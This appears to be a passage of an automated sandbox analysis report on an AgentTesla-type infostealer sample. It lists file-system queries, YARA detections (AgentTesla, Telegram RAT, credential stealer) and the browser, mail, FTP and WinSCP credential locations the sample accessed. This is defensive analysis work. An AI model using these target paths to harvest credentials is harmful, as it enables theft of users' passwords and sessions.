Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Queries volume information: C:\Users\user\AppData\Roaming\eFzAvsOm.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Queries volume information: C:\Users\user\AppData\Roaming\eFzAvsOm.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected AgentTesla
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Source: Yara match File source: 10.2.eFzAvsOm.exe.3e9e460.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.362d868.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.35f2448.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.eFzAvsOm.exe.3e9e460.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.35f2448.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.362d868.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000D.00000002.2940719657.0000000000417000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2944094662.0000000002FF9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2945148313.0000000002B89000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2945148313.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2945148313.0000000002B6E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2944094662.0000000002FDE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.1819723552.0000000003E63000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1770965448.00000000035F2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2944094662.0000000002F91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe PID: 7256, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe PID: 7676, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: eFzAvsOm.exe PID: 7936, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: eFzAvsOm.exe PID: 8104, type: MEMORYSTR
Yara detected Telegram RAT
Source: Yara match File source: 10.2.eFzAvsOm.exe.3e9e460.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.362d868.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.35f2448.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.eFzAvsOm.exe.3e9e460.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.35f2448.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.362d868.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000D.00000002.2940719657.0000000000417000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2945148313.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.1819723552.0000000003E63000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1770965448.00000000035F2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2944094662.0000000002F91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe PID: 7256, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe PID: 7676, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: eFzAvsOm.exe PID: 7936, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: eFzAvsOm.exe PID: 8104, type: MEMORYSTR
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions Jump to behavior
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini
Tries to harvest and steal ftp login credentials
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe File opened: C:\FTP Navigator\Ftplist.txt
Tries to steal Mail credentials (via file / registry access)
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities Jump to behavior
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Yara detected Credential Stealer
Source: Yara match File source: 10.2.eFzAvsOm.exe.3e9e460.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.362d868.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.35f2448.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.eFzAvsOm.exe.3e9e460.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.35f2448.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.362d868.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000D.00000002.2940719657.0000000000417000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2945148313.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.1819723552.0000000003E63000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1770965448.00000000035F2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2944094662.0000000002F91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe PID: 7256, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe PID: 7676, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: eFzAvsOm.exe PID: 7936, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: eFzAvsOm.exe PID: 8104, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected AgentTesla
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Source: Yara match File source: 10.2.eFzAvsOm.exe.3e9e460.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.362d868.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.35f2448.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.eFzAvsOm.exe.3e9e460.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.35f2448.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.362d868.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000D.00000002.2940719657.0000000000417000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2944094662.0000000002FF9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2945148313.0000000002B89000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2945148313.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2945148313.0000000002B6E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2944094662.0000000002FDE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.1819723552.0000000003E63000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1770965448.00000000035F2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2944094662.0000000002F91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe PID: 7256, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe PID: 7676, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: eFzAvsOm.exe PID: 7936, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: eFzAvsOm.exe PID: 8104, type: MEMORYSTR
Yara detected Telegram RAT
Source: Yara match File source: 10.2.eFzAvsOm.exe.3e9e460.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.362d868.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.35f2448.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.eFzAvsOm.exe.3e9e460.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.35f2448.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.362d868.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000D.00000002.2940719657.0000000000417000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2945148313.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.1819723552.0000000003E63000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
